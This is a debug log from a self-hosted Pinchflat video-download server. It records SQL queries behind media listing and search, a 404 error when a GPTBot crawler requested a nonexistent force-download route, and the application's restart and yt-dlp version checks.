shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:07:10.232 [debug] QUERY OK source="media_items" db=2.8ms queue=3.7ms idle=0.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:07:10.237 [debug] QUERY OK source="media_items" db=7.8ms idle=0.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:07:10.237 [debug] QUERY OK source="media_items" db=8.1ms queue=0.1ms idle=0.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:07:10.237 [debug] QUERY OK source="media_items" db=7.8ms idle=0.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:07:10.237 [debug] QUERY OK source="media_items" db=7.7ms idle=0.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:07:14.303 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => "ma"} 23:07:14.303 [debug] QUERY OK source="media_items" db=0.2ms idle=627.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:07:14.304 [debug] QUERY OK source="media_items" db=0.2ms idle=239.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) [1, "\"ma\""] 23:07:14.304 [debug] QUERY OK source="media_items" db=0.3ms idle=239.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) ORDER BY rank DESC, m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, "\"ma\"", 10, 0] 23:07:14.305 [debug] Replied in 1ms 23:07:15.340 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => "mat"} 23:07:15.340 [debug] QUERY OK source="media_items" db=0.3ms idle=1275.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:07:15.341 [debug] QUERY OK source="media_items" db=0.5ms idle=1037.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) [1, "\"mat\""] 23:07:15.342 [debug] QUERY OK source="media_items" db=1.0ms idle=1037.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) ORDER BY rank DESC, m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, "\"mat\"", 10, 0] 23:07:15.343 [debug] Replied in 3ms 23:07:15.717 [info] GET /sources/1/media/25/force_download 23:07:15.718 [debug] QUERY OK source="settings" db=0.3ms idle=1040.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:07:15.718 [debug] QUERY OK source="settings" db=0.1ms idle=377.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:07:15.719 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:07:15.719 [error] #PID<0.5322.0> running PinchflatWeb.Endpoint (connection #PID<0.5321.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/25/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/25/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5321.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/25/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50854}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/25", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5322.0>, params: %{}, path_info: ["sources", "1", "media", "25", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/25"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/25/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDicsN3l8W8PWcAAJkD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5321.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/25/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50854}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/25", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/25/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5321.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/25/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50854}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/25", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5322.0>, params: %{}, path_info: ["sources", "1", "media", "25", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => { (truncated) 23:07:16.037 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => "matth"} 23:07:16.038 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=696.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:07:16.048 [debug] QUERY OK source="media_items" db=9.5ms idle=696.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) [1, "\"matth\""] 23:07:16.050 [debug] QUERY OK source="media_items" db=1.1ms idle=369.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) ORDER BY rank DESC, m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, "\"matth\"", 10, 0] 23:07:16.050 [debug] Replied in 12ms 23:07:16.376 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => "matthew"} 23:07:16.377 [debug] QUERY OK source="media_items" db=0.3ms idle=658.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:07:16.387 [debug] QUERY OK source="media_items" db=9.3ms idle=658.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) [1, "\"matthew\""] 23:07:16.388 [debug] QUERY OK source="media_items" db=1.2ms idle=348.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "media_items_search_index" AS m1 ON m1."rowid" = m0."id" WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) AND (media_items_search_index MATCH ?) ORDER BY rank DESC, m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, "\"matthew\"", 10, 0] 23:07:16.389 [debug] Replied in 12ms 23:07:18.936 [debug] HANDLE EVENT "search_term" in PinchflatWeb.Sources.MediaItemTableLive Parameters: %{"_target" => ["q"], "q" => ""} 23:07:18.936 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=1252.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:07:18.937 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=872.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:07:18.938 [debug] Replied in 2ms 23:07:29.023 [info] {"source":"oban","duration":1075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:54.519 [notice] SIGTERM received - shutting down 23:07:54.520 [info] DRAINING 8 of 8 total connection(s) for socket Phoenix.LiveView.Socket every 2000ms - round 1 of 1 23:07:58.506 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 23:07:58.506 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 23:07:58.506 [debug] QUERY OK source="oban_jobs" db=0.0ms queue=1.2ms idle=0.0ms UPDATE "oban_jobs" AS o0 SET "state" = ? WHERE (o0."state" = 'executing') ["retryable"] 23:07:58.506 [info] Reset 0 executing jobs 23:07:58.506 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 23:07:58.507 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 23:07:58.508 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 23:07:58.508 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 23:07:58.914 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2025.09.26 23:07:58.914 [info] [command_wrapper]: /usr/local/bin/apprise called with: --version 23:07:59.018 [debug] [command_wrapper]: /usr/local/bin/apprise called with: --version exited: 0 with: Apprise v1.9.4 Copyright (C) 2025 Chris Caron This code is licensed under the BSD 2-Clause License. 23:07:59.018 [debug] QUERY OK source="settings" db=0.0ms queue=0.1ms idle=511.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:07:59.019 [debug] QUERY OK source="settings" db=1.3ms idle=511.8ms UPDATE "settings" SET "yt_dlp_version" = ? WHERE "id" = ? ["2025.09.26", 1] 23:07:59.019 [debug] QUERY OK source="settings" db=0.0ms idle=511.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:07:59.020 [info] User scripts lifecyle file either not present or is empty. Skipping. 23:07:59.021 [info] {"message":"notifier only receiving messages from its own node, functionality may be degraded","source":"oban","event":"notifier:switch","connectivity_status":"solitary"} 23:07:59.024 [info] Running PinchflatWeb.Endpoint with cowboy 2.13.0 at 0.0.0.0:8945 (http) 23:07:59.024 [info] Access PinchflatWeb.Endpoint at http://localhost:8945 23:07:59.030 [info] {"args":{},"id":117,"meta":{},"system_time":1774667279030416617,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","event":"job:start","attempt":1,"tags":["local_data"]} 23:07:59.030 [info] Updating yt-dlp 23:07:59.030 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update 23:07:59.158 [info] CONNECTED TO Phoenix.LiveView.Socket in 12µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "I3RaRlBAKwl2YB04cRkCKlkUAi4obSZvbDbkgtzGFTkM7xjatSIedUgW", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:07:59.161 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8", "media_state" => "pending", "source_id" => 1} 23:07:59.161 [debug] QUERY OK source="sources" db=0.0ms queue=0.1ms idle=142.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:07:59.161 [debug] QUERY OK source="media_items" db=0.1ms idle=141.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:07:59.162 [debug] QUERY OK source="media_items" db=0.2ms idle=141.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:07:59.162 [debug] Replied in 1ms 23:07:59.162 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8", "media_state" => "downloaded", "source_id" => 1} 23:07:59.162 [debug] QUERY OK source="sources" db=0.0ms idle=137.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:07:59.162 [debug] QUERY OK source="media_items" db=0.0ms idle=132.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:07:59.162 [debug] QUERY OK source="media_items" db=0.1ms idle=1.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:07:59.162 [debug] Replied in 553µs 23:07:59.163 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8", "media_state" => "other", "source_id" => 1} 23:07:59.163 [debug] QUERY OK source="sources" db=0.0ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:07:59.163 [debug] QUERY OK source="media_items" db=0.0ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" 